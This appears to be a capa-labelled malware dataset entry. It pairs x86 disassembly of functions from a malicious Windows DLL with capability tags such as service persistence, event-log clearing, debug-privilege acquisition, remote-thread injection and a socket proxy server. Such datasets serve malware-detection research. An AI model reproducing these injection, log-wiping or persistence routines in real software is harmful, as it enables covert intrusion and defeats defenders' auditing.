joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007364
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov eax, 0x10014200
call fcn.10013bc0
sub esp, 0x20c
push ebx
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push esi
push edi
lea eax, [ebp - 0x218]
mov dword [ebp - 0x10], esp
push 0x1f4
push 0x100016e8
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x100073da
lea eax, [ebp - 0x20]
push 0x100145e8
push eax
mov dword [ebp - 0x20], 0x100150a8
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x18]
push 4
push eax
push 4
push 0
push 0x10001734
push dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x120
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10007433
lea eax, [ebp - 0x1c]
push 0x100145e8
push eax
mov dword [ebp - 0x1c], 0x1000171c
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x1000742d
cmp byte [eax], 0
je 0x1000742d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x10007433
ret
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x1000744b
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
mov eax, 0x1001420c
call fcn.10013bc0
sub esp, 0x228
push ebx
push esi
push edi
lea eax, [ebp - 0x234]
mov dword [ebp - 0x10], esp
push 0x1f4
xor ebx, ebx
push 0x100016e8
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
lea eax, [ebp - 0x234]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x234]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp eax, ebx
je 0x100074c4
lea eax, [ebp - 0x38]
push 0x100145e8
push eax
mov dword [ebp - 0x38], 0x100150a8
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 4
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x40]
push eax
push ebx
push 0x10001734
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, ebx
mov byte [ebp - 0x2c], 0x52
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x67
mov byte [ebp - 0x29], 0x51
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x79
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x75
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x28
mov byte [ebp - 0x1c], 0x54
mov byte [ebp - 0x1b], 0x79
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x29
mov byte [ebp - 0x17], bl
je 0x1000756d
lea eax, [ebp - 0x2c]
push 0x100145e8
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x1000756d
ret
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x30]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x10007a86
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x2f
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x10007aae
push esi
push dword [ebp + 8]
call fcn.1000d632
pop ecx
test al, al
pop ecx
jne 0x10007ab2
xor al, al
jmp 0x10007afb
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
push 0x10001650
rep stosd dword es:[edi], eax
mov eax, 0x1000165c
mov dword [ebp - 0x54], 0x44
push eax
mov dword [ebp - 0x4c], eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x1000179c
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
leave
ret
Function at 0x10007afe
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push esi
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10007bfb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 0x104
xor esi, esi
mov dword [ebp - 8], eax
push eax
lea eax, [ebp - 0x160]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push 0x100017ac
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007bfb
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10007bfb
lea eax, [ebp - 0x160]
push 0x10001668
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, esi
pop ecx
je 0x10007bfb
push edi
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
pop edi
je 0x10007bd1
mov dword [ebp - 0x54], 0x1000165c
push 0x10001650
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop esi
leave
ret

Function at 0x10007c45
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
lea eax, [ebp + 0xc]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007c92
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x14]
push 2
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10007c92
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
ret

Function at 0x10007c95
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
lea eax, [ebp + 0xc]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007cdb
lea eax, [ebp + 0x14]
push 4
push eax
push 4
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10007cdb
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
ret
Function at 0x10007e63
Capabilities:
Access the windows event log
Clear windows event logs
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
lea eax, [ebp - 0x24]
push ebx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x2c], eax
xor ebx, ebx
lea eax, [ebp - 0xc]
push esi
push edi
mov byte [ebp - 0x24], 0x41
mov byte [ebp - 0x23], 0x70
mov byte [ebp - 0x22], 0x70
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x79
mov byte [ebp - 0xa], 0x73
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6d
mov byte [ebp - 6], bl
mov dword [ebp - 0x28], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea esi, [ebp - 0x30]
mov dword [ebp - 4], 3
push dword [esi]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
cmp edi, ebx
je 0x10007f20
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add esi, 4
dec dword [ebp - 4]
jne 0x10007f02
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007f92
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10007fb3
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push ebx
push eax
xor ebx, ebx
push 0x10001a88
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10007ffc
mov eax, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x1c]
push 0x10
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10007ffc
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
leave
ret
Function at 0x100080a0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
call fcn.10007f92
push dword [ebp + 8]
call fcn.1000d1b4
pop ecx
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
jne 0x100080d6
xor al, al
jmp 0x1000826b
push 0xf4
lea eax, [ebp - 0xf8]
push 0
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push 0x1000161c
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push 0x10001b34
push ebx
call esi
push 0x10001b24
push ebx
mov dword [ebp - 0xf8], eax
call esi
push 0x10001b10
push ebx
mov dword [ebp - 0xf4], eax
call esi
push 0x10001b00
push ebx
mov dword [ebp - 0xf0], eax
call esi
push 0x10001af0
push ebx
mov dword [ebp - 0xec], eax
call esi
push 0x10001ae0
push ebx
mov dword [ebp - 0xe8], eax
call esi
push 0x10001acc
push ebx
mov dword [ebp - 0xe4], eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xe0], eax
call ebx
push 0x10001ac0
call edi
push 0x10001ab0
push eax
mov dword [ebp - 4], eax
call esi
push dword [ebp - 4]
mov dword [ebp - 0xdc], eax
call ebx
push 0x100014f4
call edi
mov edi, eax
push 0x10001aa8
push edi
call esi
push 0x10001a9c
push edi
mov dword [ebp - 0xd4], eax
call esi
push edi
mov dword [ebp - 0xd8], eax
call ebx
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xcc]
push eax
call esi
lea eax, [ebp - 0x68]
push 0x100016e8
push eax
call esi
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, 0x1000
push 4
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, 0xf4
push esi
push 0
push dword [ebp + 8]
call edi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x100080cf
push 0
lea ecx, [ebp - 0xf8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ecx
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x100080cf
push 0x40
push ebx
mov ebx, 0x2800
push ebx
push 0
push dword [ebp + 8]
call edi
mov edi, eax
test edi, edi
je 0x100080cf
push 0
push ebx
push 0x1000800a
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x100080cf
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push edi
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100083e0
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
push esi
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
and dword [ebp - 4], 0
mov esi, 0x100150b8
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [0x10015324]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ebx, dword [ebp + 0x10]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
call fcn.100082e6
pop ecx
test eax, eax
pop ecx
je 0x10008542
mov edi, dword [ebp + 8]
cmp eax, 1
je 0x100084ab
cmp eax, 2
je 0x100084ab
cmp eax, 3
je 0x100084ab
cmp eax, 4
jne 0x10008512
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 8]
sub ecx, eax
add eax, ebx
push ecx
push eax
call fcn.10008270
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
push eax
lea eax, [edi + 4]
push eax
call fcn.100088ba
add esp, 0x1c
test eax, eax
je 0x10008542
mov esi, 0x10001770
push 0
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x10008512
push dword [ebp - 8]
mov esi, dword [ebp + 0x14]
push esi
push ebx
push dword [ebp + 0xc]
call fcn.10008366
add esp, 0x10
mov dword [ebp + 0x14], eax
test eax, eax
je 0x10008542
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 8]
sub esi, eax
sub esi, 7
lea eax, [eax + ebx + 7]
push esi
push eax
call fcn.10008270
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
lea esi, [edi + 4]
push eax
push esi
call fcn.100088ba
add esp, 0x1c
test eax, eax
je 0x10008542
push 0
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10008542
xor esi, esi
cmp dword [edi], esi
je 0x10008542
cmp dword [edi + 4], esi
je 0x10008542
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push 0x100091a1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x1000853d
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
pop eax
jmp 0x10008544
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008549
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov byte [ebp - 2], 5
mov al, byte [esi]
cmp al, 5
je 0x1000856e
movzx eax, al
jmp 0x100086a1
mov al, byte [esi + 2]
test al, al
je 0x1000857d
cmp al, 2
jne 0x1000869a
push 0x10015124
call sub.MSVCRT.dll_strlen
neg eax
mov ebx, dword [ebp + 8]
pop ecx
sbb al, al
push 0
and eax, 2
push 2
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000869a
cmp byte [ebp - 1], 2
jne 0x1000869e
mov edi, 0x100
lea eax, [ebp - 0x104]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x204]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x5000
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000869a
test eax, eax
je 0x1000869a
cmp byte [esi], 1
jne 0x1000869a
mov al, byte [esi + 1]
test al, al
je 0x1000862a
movzx eax, al
cmp eax, edi
jg 0x1000862a
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
test ecx, ecx
je 0x10008651
cmp ecx, edi
jg 0x10008651
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x204]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push 0x10015124
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10008684
lea eax, [ebp - 0x204]
push eax
push 0x10015224
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10008684
and byte [esi + 1], al
jmp 0x10008688
or byte [esi + 1], 0xff
push 0
push 2
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000869e
xor eax, eax
jmp 0x100086a1
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100086a6
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x100150a8
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, dword [ebp + 8]
mov esi, eax
test esi, esi
je 0x10008709
and dword [ebp + 8], 0
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + 8]
xor edi, edi
cmp dword [eax + ecx], edi
je 0x10008709
and byte [ebx], 0
cmp word [esi + 0xa], di
jle 0x10008703
test edi, edi
jle 0x100086ee
push 0x100016c0
push ebx
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
inc edi
pop ecx
cmp edi, eax
pop ecx
jl 0x100086dd
add dword [ebp + 8], 4
jmp 0x100086c7
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x10008710
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1000871f
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret
Function at 0x100088ba
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0x12], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x10008909
call fcn.10008710
test eax, eax
pop ecx
je 0x1000895d
push edi
call fcn.10008710
pop ecx
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x1000895d
lea ecx, [ebp - 4]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [ebp - 4], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10008963
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x1000895f

Function at 0x10008968
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
push esi
push edi
call fcn.10008549
add esp, 0xc
test eax, eax
je 0x100089f9
cmp eax, 4
jne 0x100089a6
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 2
push dword [ebp + 0x10]
push esi
call fcn.1000872d
add esp, 0x14
neg eax
sbb eax, eax
and eax, 4
jmp 0x100089fb
push 0
push 0x5000
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100089f9
test eax, eax
je 0x100089f9
cmp byte [esi], 5
jne 0x100089f9
mov cl, byte [esi + 3]
cmp cl, 1
je 0x100089d1
cmp cl, 3
jne 0x100089f9
push dword [ebp + 0x18]
movzx ecx, cl
push dword [ebp + 0x14]
push ecx
push eax
push esi
call fcn.1000872d
add esp, 0x14
test eax, eax
je 0x100089f9
mov al, byte [esi + 1]
cmp al, 1
je 0x100089f4
cmp al, 3
jne 0x100089f9
movzx eax, al
jmp 0x100089fb
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x100089ff
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10008a53
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10008a57
xor eax, eax
jmp 0x10008a90
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.100086a6
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret

Function at 0x10008d37
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
lea eax, [ebp - 0x1a4]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10008d5e
xor eax, eax
pop edi
pop ebx
leave
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10008d58
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x100150b0]
mov word [ebp - 0x10], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
xor edi, edi
push eax
push ebx
mov dword [ebp - 0xc], edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10008d58
push esi
push 0x32
push ebx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10008dbd
xor eax, eax
pop esi
jmp 0x10008d5a
push edi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_accept]
push 8
mov esi, eax
call dword [sym.imp.MSVCRT.dll_malloc]
cmp eax, edi
pop ecx
je 0x10008dbd
lea ecx, [ebp - 0x14]
mov dword [eax], esi
push ecx
push edi
push eax
push 0x10008a93
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
jne 0x10008dfb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10008dbd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10008dbd

Function at 0x10008f3a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jle 0x10008f70
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10008f6b
sub edi, eax
add esi, eax
jmp 0x10008f44
or eax, 0xffffffff
jmp 0x10008f72
mov eax, esi
pop edi
pop esi
pop ebp
ret